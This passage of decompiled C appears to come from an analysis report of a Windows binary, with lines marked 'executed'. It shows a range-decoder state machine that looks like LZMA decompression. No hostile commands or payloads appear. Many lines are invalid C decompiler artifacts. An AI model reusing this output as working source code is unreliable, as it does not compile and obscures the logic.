												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8)); // executed
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
